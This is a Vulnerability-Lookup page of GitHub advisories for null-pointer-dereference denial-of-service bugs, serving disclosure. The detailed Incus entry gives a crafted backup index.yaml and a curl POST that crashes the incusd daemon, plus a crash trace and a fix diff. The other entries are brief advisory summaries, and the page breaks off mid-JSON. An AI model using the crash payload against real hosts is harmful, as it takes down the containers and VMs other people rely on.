Vulnerability-Lookup

GHSA-XHQX-MGH3-3H7Q

Vulnerability from github – Published: 2026-06-26 19:07 – Updated: 2026-06-26 19:07

Summary

Incus: CreateCustomVolumeFromBackup nil-pointer dereference on volume_snapshots[*].expires_at (sibling-field variant of GHSA-r7w7)

Details

Summary

(*backend).CreateCustomVolumeFromBackup in internal/server/storage/backend.go contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with can_create_storage_volumes permission on any project can crash the incusd daemon by uploading a backup tarball whose volume_snapshots[*].expires_at field is absent.

This is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit 985a1dedf9f3e7ba729c93b654905ed510de25c2 added if s == nil at the top of the loop body, but did not guard the adjacent *snapshot.ExpiresAt deref 19 lines later. Every other consumer of Config.VolumeSnapshots[i].ExpiresAt in this same file already gates the deref with a nil-check — the asymmetric guard is the bug.

Vulnerable code

internal/server/storage/backend.go, CreateCustomVolumeFromBackup:

// Line 7710-7714 — the parent fix from GHSA-r7w7
for _, s := range srcBackup.Config.VolumeSnapshots {
    if s == nil {
        return errors.New("Bad snapshot definition found in index")
    }
    snapshot := s
    snapName := snapshot.Name
    // ...
    // Line 7731 — UNGUARDED *time.Time deref:
    err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,
        snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,
        *snapshot.ExpiresAt,   // <-- panics when expires_at omitted in YAML
        snapVol.ContentType(), true, true)

ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go:21,88). Every other consumer in the same file already uses the safe pattern:

Line	Code	Guarded?
909-910	`CreateInstanceFromBackup`	YES
1134-1135	refresh path	YES
1422-1423	migration path	YES
7731	`CreateCustomVolumeFromBackup`	NO

Reach

Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the can_create_storage_volumes entitlement on any project. Same auth gate as parent GHSA-r7w7.
POST /1.0/storage-pools/<pool>/volumes/custom with Content-Type: application/octet-stream and X-Incus-name: <name>.
Body is a tar containing backup/index.yaml with type: custom, a non-nil volume: block, and volume_snapshots: [{name: snap0}] (no expires_at field).
cmd/incusd/storage_volumes.go:storagePoolVolumesPost -> backup.GetInfo parses the yaml -> pool.CreateCustomVolumeFromBackup -> the s == nil guard at 7712 passes (snapshot pointer is non-nil) -> *snapshot.ExpiresAt on line 7731 panics on the nil *time.Time.
No recover() is installed in the operation runner, so the panic kills the entire incusd process. Repeated POSTs are a persistent denial of service.

Minimal backup/index.yaml:

name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:
  volume: {name: poc-vol, type: custom, content_type: filesystem, config: {}}
  volume_snapshots:
    - name: snap0
      description: snap0
      config: {}
      # expires_at intentionally omitted

Proof of concept (end-to-end against running daemon)

Bundled in the report: make_backup.sh + the resulting 479-byte poc-vol.tar.gz.

Tested against incus 7.0.0 (zabbly latest GA at time of report; build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with the default dir storage pool.

$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
    --data-binary @/tmp/poc-vol.tar.gz \
    -H 'Content-Type: application/octet-stream' \
    -H 'X-Incus-name: poc-vol' \
    http://incus/1.0/storage-pools/default/volumes/custom
{"type":"async","status":"Operation created","status_code":100,...}

$ ps -ef | grep incusd | grep -v grep    # process is GONE

Daemon panic from /tmp/incus.out:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x162b938]

goroutine 422 [running]:
github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)
    /build/incus/internal/server/storage/backend.go:7731 +0xb48
main.createStoragePoolVolumeFromBackup.func7(...)
    /build/incus/cmd/incusd/storage_volumes.go:2915 +0x290
github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
    /build/incus/internal/server/operations/operations.go:307 +0x2c
created by github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start in goroutine 408
    /build/incus/internal/server/operations/operations.go:306 +0x168

Stack frame backend.go:7731 is the literal *snapshot.ExpiresAt line. Same line in v6.0.x LTS is backend.go:7271 (also panics; v6.0.x additionally lacks the s == nil parent fix so a single nil snapshot pointer also panics there).

Impact

Severity: denial of service against the entire incusd process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.
Privileges required: any authenticated user with can_create_storage_volumes on any project. Not behind the admin tier.
Network attack surface: the Incus REST API on :8443 or the unix socket.
CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Suggested fix

Mirror the guard pattern already in use at lines 909-910 / 1134-1135 / 1422-1423:

--- a/internal/server/storage/backend.go
+++ b/internal/server/storage/backend.go
@@ -7728,9 +7728,14 @@ func (b *backend) CreateCustomVolumeFromBackup(...) error {
         snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)

         // Validate config and create database entry for new storage volume.
         // Strip unsupported config keys (in case the export was made from a different type of storage pool).
-        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
+        var snapExpiryDate time.Time
+        if snapshot.ExpiresAt != nil {
+            snapExpiryDate = *snapshot.ExpiresAt
+        }
+
+        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)
         if err != nil {
             return err
         }

Reporter notes

Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.

Severity

2.1 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v7/cmd/incusd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48756"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T19:07:54Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\n`(*backend).CreateCustomVolumeFromBackup` in [`internal/server/storage/backend.go`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/internal/server/storage/backend.go) contains an unguarded `*time.Time` dereference on the `ExpiresAt` field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with `can_create_storage_volumes` permission on any project can crash the `incusd` daemon by uploading a backup tarball whose `volume_snapshots[*].expires_at` field is absent.\n\nThis is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit `985a1dedf9f3e7ba729c93b654905ed510de25c2` added `if s == nil` at the top of the loop body, but did not guard the adjacent `*snapshot.ExpiresAt` deref 19 lines later. Every other consumer of `Config.VolumeSnapshots[i].ExpiresAt` in this same file already gates the deref with a nil-check \u2014 the asymmetric guard is the bug.\n\n## Vulnerable code\n\n[`internal/server/storage/backend.go`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/internal/server/storage/backend.go), `CreateCustomVolumeFromBackup`:\n\n```go\n// Line 7710-7714 \u2014 the parent fix from GHSA-r7w7\nfor _, s := range srcBackup.Config.VolumeSnapshots {\n    if s == nil {\n        return errors.New(\"Bad snapshot definition found in index\")\n    }\n    snapshot := s\n    snapName := snapshot.Name\n    // ...\n    // Line 7731 \u2014 UNGUARDED *time.Time deref:\n    err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,\n        snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,\n        *snapshot.ExpiresAt,   // \u003c-- panics when expires_at omitted in YAML\n        snapVol.ContentType(), true, true)\n```\n\n`ExpiresAt` is declared `*time.Time` (`shared/api/storage_pool_volume_snapshot.go:21,88`). Every other consumer in the same file already uses the safe pattern:\n\n| Line | Code | Guarded? |\n|------|------|----------|\n| 909-910 | `CreateInstanceFromBackup` | YES |\n| 1134-1135 | refresh path | YES |\n| 1422-1423 | migration path | YES |\n| **7731** | **`CreateCustomVolumeFromBackup`** | **NO** |\n\n## Reach\n\n1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the `can_create_storage_volumes` entitlement on any project. Same auth gate as parent GHSA-r7w7.\n2. `POST /1.0/storage-pools/\u003cpool\u003e/volumes/custom` with `Content-Type: application/octet-stream` and `X-Incus-name: \u003cname\u003e`.\n3. Body is a tar containing [`backup/index.yaml`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backup/index.yaml) with `type: custom`, a non-nil `volume:` block, and `volume_snapshots: [{name: snap0}]` (no `expires_at` field).\n4. `cmd/incusd/storage_volumes.go:storagePoolVolumesPost` -\u003e `backup.GetInfo` parses the yaml -\u003e `pool.CreateCustomVolumeFromBackup` -\u003e the `s == nil` guard at 7712 passes (snapshot pointer is non-nil) -\u003e `*snapshot.ExpiresAt` on line 7731 panics on the nil `*time.Time`.\n5. No `recover()` is installed in the operation runner, so the panic kills the entire `incusd` process. Repeated POSTs are a persistent denial of service.\n\nMinimal [`backup/index.yaml`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backup/index.yaml):\n\n```yaml\nname: poc-vol\nbackend: dir\npool: default\ntype: custom\noptimized: false\noptimized_header: false\nsnapshots: [snap0]\nconfig:\n  volume: {name: poc-vol, type: custom, content_type: filesystem, config: {}}\n  volume_snapshots:\n    - name: snap0\n      description: snap0\n      config: {}\n      # expires_at intentionally omitted\n```\n\n## Proof of concept (end-to-end against running daemon)\n\nBundled in the report: `make_backup.sh` + the resulting 479-byte `poc-vol.tar.gz`.\n\nTested against `incus 7.0.0` (zabbly latest GA at time of report; build `1:0~ubuntu24.04~202605201355`) inside a privileged Ubuntu 24.04 container with the default `dir` storage pool.\n\n```bash\n$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \\\n    --data-binary @/tmp/poc-vol.tar.gz \\\n    -H \u0027Content-Type: application/octet-stream\u0027 \\\n    -H \u0027X-Incus-name: poc-vol\u0027 \\\n    http://incus/1.0/storage-pools/default/volumes/custom\n{\"type\":\"async\",\"status\":\"Operation created\",\"status_code\":100,...}\n\n$ ps -ef | grep incusd | grep -v grep    # process is GONE\n```\n\nDaemon panic from `/tmp/incus.out`:\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x162b938]\n\ngoroutine 422 [running]:\ngithub.com/lxc/incus/v7/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)\n    /build/incus/internal/server/storage/backend.go:7731 +0xb48\nmain.createStoragePoolVolumeFromBackup.func7(...)\n    /build/incus/cmd/incusd/storage_volumes.go:2915 +0x290\ngithub.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)\n    /build/incus/internal/server/operations/operations.go:307 +0x2c\ncreated by github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start in goroutine 408\n    /build/incus/internal/server/operations/operations.go:306 +0x168\n```\n\nStack frame [`backend.go:7731`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backend.go#L7731) is the literal `*snapshot.ExpiresAt` line. Same line in v6.0.x LTS is [`backend.go:7271`](https://github.com/lxc/incus/blob/985a1dedf9f3e7ba729c93b654905ed510de25c2/backend.go#L7271) (also panics; v6.0.x additionally lacks the `s == nil` parent fix so a single nil snapshot pointer also panics there).\n\n## Impact\n\n- **Severity:** denial of service against the entire `incusd` process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.\n- **Privileges required:** any authenticated user with `can_create_storage_volumes` on any project. Not behind the admin tier.\n- **Network attack surface:** the Incus REST API on `:8443` or the unix socket.\n- **CWE-476** \u2014 Nil-Pointer Dereference. **CVSS estimate:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).\n\n## Suggested fix\n\nMirror the guard pattern already in use at lines 909-910 / 1134-1135 / 1422-1423:\n\n```diff\n--- a/internal/server/storage/backend.go\n+++ b/internal/server/storage/backend.go\n@@ -7728,9 +7728,14 @@ func (b *backend) CreateCustomVolumeFromBackup(...) error {\n         snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)\n\n         // Validate config and create database entry for new storage volume.\n         // Strip unsupported config keys (in case the export was made from a different type of storage pool).\n-        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)\n+        var snapExpiryDate time.Time\n+        if snapshot.ExpiresAt != nil {\n+            snapExpiryDate = *snapshot.ExpiresAt\n+        }\n+\n+        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)\n         if err != nil {\n             return err\n         }\n```\n\n## Reporter notes\n\nReported via Privately-Reported Vulnerability against `lxc/incus` by tonghuaroot.",
  "id": "GHSA-xhqx-mgh3-3h7q",
  "modified": "2026-06-26T19:07:54Z",
  "published": "2026-06-26T19:07:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-xhqx-mgh3-3h7q"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Incus: CreateCustomVolumeFromBackup nil-pointer dereference on volume_snapshots[*].expires_at (sibling-field variant of GHSA-r7w7)"
}

GHSA-XHVW-2W3W-FWPC

Vulnerability from github – Published: 2025-10-03 21:30 – Updated: 2025-10-08 21:30

Details

A NULL pointer dereference vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack.

We have already fixed the vulnerability in the following version: Qsync Central 5.0.0.1 ( 2025/07/09 ) and later

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

5.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-44009"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-03T19:15:42Z",
    "severity": "MODERATE"
  },
  "details": "A NULL pointer dereference vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack.\n\nWe have already fixed the vulnerability in the following version:\nQsync Central 5.0.0.1 ( 2025/07/09 ) and later",
  "id": "GHSA-xhvw-2w3w-fwpc",
  "modified": "2025-10-08T21:30:23Z",
  "published": "2025-10-03T21:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-44009"
    },
    {
      "type": "WEB",
      "url": "https://www.qnap.com/en/security-advisory/qsa-25-34"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XHVX-9W5H-Q8Q6

Vulnerability from github – Published: 2025-08-12 18:31 – Updated: 2025-08-12 18:31

Details

Null pointer dereference in Windows Local Security Authority Subsystem Service (LSASS) allows an authorized attacker to deny service over a network.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-53716"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-12T18:15:40Z",
    "severity": "MODERATE"
  },
  "details": "Null pointer dereference in Windows Local Security Authority Subsystem Service (LSASS) allows an authorized attacker to deny service over a network.",
  "id": "GHSA-xhvx-9w5h-q8q6",
  "modified": "2025-08-12T18:31:32Z",
  "published": "2025-08-12T18:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53716"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53716"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XHWR-F5XV-7GQC

Vulnerability from github – Published: 2023-03-17 09:30 – Updated: 2023-03-23 18:30

Details

A vulnerability was found in Filseclab Twister Antivirus 8. It has been rated as critical. This issue affects some unknown processing in the library fildds.sys of the component IoControlCode Handler. The manipulation leads to denial of service. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-223289 was assigned to this vulnerability.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-1444"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-404",
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-17T07:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in Filseclab Twister Antivirus 8. It has been rated as critical. This issue affects some unknown processing in the library fildds.sys of the component IoControlCode Handler. The manipulation leads to denial of service. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-223289 was assigned to this vulnerability.",
  "id": "GHSA-xhwr-f5xv-7gqc",
  "modified": "2023-03-23T18:30:20Z",
  "published": "2023-03-17T09:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1444"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/1KrkezTwgmt5CnhzlyyWVNLIAeiMvuDEr/view"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zeze-zeze/WindowsKernelVuln/tree/master/CVE-2023-1444"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zeze-zeze/WindowsKernelVuln/tree/master/unassigned11"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.223289"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.223289"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XHXP-853R-966X

Vulnerability from github – Published: 2025-09-16 15:32 – Updated: 2025-12-02 21:31

Details

In the Linux kernel, the following vulnerability has been resolved:

wifi: iwl4965: Add missing check for create_singlethread_workqueue()

Add the check for the return value of the create_singlethread_workqueue() in order to avoid NULL pointer dereference.

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-53302"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-16T08:15:39Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: iwl4965: Add missing check for create_singlethread_workqueue()\n\nAdd the check for the return value of the create_singlethread_workqueue()\nin order to avoid NULL pointer dereference.",
  "id": "GHSA-xhxp-853r-966x",
  "modified": "2025-12-02T21:31:27Z",
  "published": "2025-09-16T15:32:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53302"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/26e6775f75517ad6844fe5b79bc5f3fa8c22ee61"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2f85c768bea2057e3299d19514da9e932c4f92d2"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3185d6cfc59277a77bf311dce701b7e25193f66a"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/874a85051cc8df8c5b928d8ff172b342cdc5424b"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/878a7c8357764e08bc778bcb26127fc12a4b36b7"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c002d2741400771171b68dde9af937a4dfa0d1b3"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f15ef0ebcf56be1d4a3c9a7a80a1f1f82ab0eaad"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XJ47-998Q-QJGW

Vulnerability from github – Published: 2023-04-11 12:30 – Updated: 2023-04-14 18:30

Details

In vdsp service, there is a missing permission check. This could lead to local denial of service in vdsp service.

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2022-47465"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-11T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In vdsp service, there is a missing permission check. This could lead to local denial of service in vdsp service.",
  "id": "GHSA-xj47-998q-qjgw",
  "modified": "2023-04-14T18:30:19Z",
  "published": "2023-04-11T12:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47465"
    },
    {
      "type": "WEB",
      "url": "https://www.unisoc.com/en_us/secy/announcementDetail/1645429273135218690"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XJ5J-G4WP-WCF5

Vulnerability from github – Published: 2021-12-21 00:00 – Updated: 2021-12-21 00:00

Details

Adobe Premiere Rush versions 1.5.16 (and earlier) are affected by a Null pointer dereference vulnerability. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2021-43748"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-20T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Adobe Premiere Rush versions 1.5.16 (and earlier) are affected by a Null pointer dereference vulnerability. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
  "id": "GHSA-xj5j-g4wp-wcf5",
  "modified": "2021-12-21T00:00:25Z",
  "published": "2021-12-21T00:00:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43748"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/premiere_rush/apsb21-101.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-XJ6G-C6GV-VMJP

Vulnerability from github – Published: 2024-07-29 18:30 – Updated: 2024-08-26 15:31

Details

In the Linux kernel, the following vulnerability has been resolved:

netfs: Fix netfs_page_mkwrite() to check folio->mapping is valid

Fix netfs_page_mkwrite() to check that folio->mapping is valid once it has taken the folio lock (as filemap_page_mkwrite() does). Without this, generic/247 occasionally oopses with something like the following:

BUG: kernel NULL pointer dereference, address: 0000000000000000
#PF: supervisor read access in kernel mode
#PF: error_code(0x0000) - not-present page

RIP: 0010:trace_event_raw_event_netfs_folio+0x61/0xc0
...
Call Trace:
 <TASK>
 ? __die_body+0x1a/0x60
 ? page_fault_oops+0x6e/0xa0
 ? exc_page_fault+0xc2/0xe0
 ? asm_exc_page_fault+0x22/0x30
 ? trace_event_raw_event_netfs_folio+0x61/0xc0
 trace_netfs_folio+0x39/0x40
 netfs_page_mkwrite+0x14c/0x1d0
 do_page_mkwrite+0x50/0x90
 do_pte_missing+0x184/0x200
 __handle_mm_fault+0x42d/0x500
 handle_mm_fault+0x121/0x1f0
 do_user_addr_fault+0x23e/0x3c0
 exc_page_fault+0xc2/0xe0
 asm_exc_page_fault+0x22/0x30

This is due to the invalidate_inode_pages2_range() issued at the end of the DIO write interfering with the mmap'd writes.

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-41083"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-29T16:15:03Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfs: Fix netfs_page_mkwrite() to check folio-\u003emapping is valid\n\nFix netfs_page_mkwrite() to check that folio-\u003emapping is valid once it has\ntaken the folio lock (as filemap_page_mkwrite() does).  Without this,\ngeneric/247 occasionally oopses with something like the following:\n\n    BUG: kernel NULL pointer dereference, address: 0000000000000000\n    #PF: supervisor read access in kernel mode\n    #PF: error_code(0x0000) - not-present page\n\n    RIP: 0010:trace_event_raw_event_netfs_folio+0x61/0xc0\n    ...\n    Call Trace:\n     \u003cTASK\u003e\n     ? __die_body+0x1a/0x60\n     ? page_fault_oops+0x6e/0xa0\n     ? exc_page_fault+0xc2/0xe0\n     ? asm_exc_page_fault+0x22/0x30\n     ? trace_event_raw_event_netfs_folio+0x61/0xc0\n     trace_netfs_folio+0x39/0x40\n     netfs_page_mkwrite+0x14c/0x1d0\n     do_page_mkwrite+0x50/0x90\n     do_pte_missing+0x184/0x200\n     __handle_mm_fault+0x42d/0x500\n     handle_mm_fault+0x121/0x1f0\n     do_user_addr_fault+0x23e/0x3c0\n     exc_page_fault+0xc2/0xe0\n     asm_exc_page_fault+0x22/0x30\n\nThis is due to the invalidate_inode_pages2_range() issued at the end of the\nDIO write interfering with the mmap\u0027d writes.",
  "id": "GHSA-xj6g-c6gv-vmjp",
  "modified": "2024-08-26T15:31:14Z",
  "published": "2024-07-29T18:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41083"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3473eb87afd402e415a8ca885b284ea0420dde25"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a81c98bfa40c11f8ea79b5a9b3f5fda73bfbb4d2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XJ6J-6M68-MR7H

Vulnerability from github – Published: 2023-03-15 15:30 – Updated: 2023-03-20 21:30

Details

Libde265 v1.0.11 was discovered to contain a segmentation violation via the function decoder_context::process_slice_segment_header at decctx.cc.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-27102"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-15T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Libde265 v1.0.11 was discovered to contain a segmentation violation via the function decoder_context::process_slice_segment_header at decctx.cc.",
  "id": "GHSA-xj6j-6m68-mr7h",
  "modified": "2023-03-20T21:30:17Z",
  "published": "2023-03-15T15:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27102"
    },
    {
      "type": "WEB",
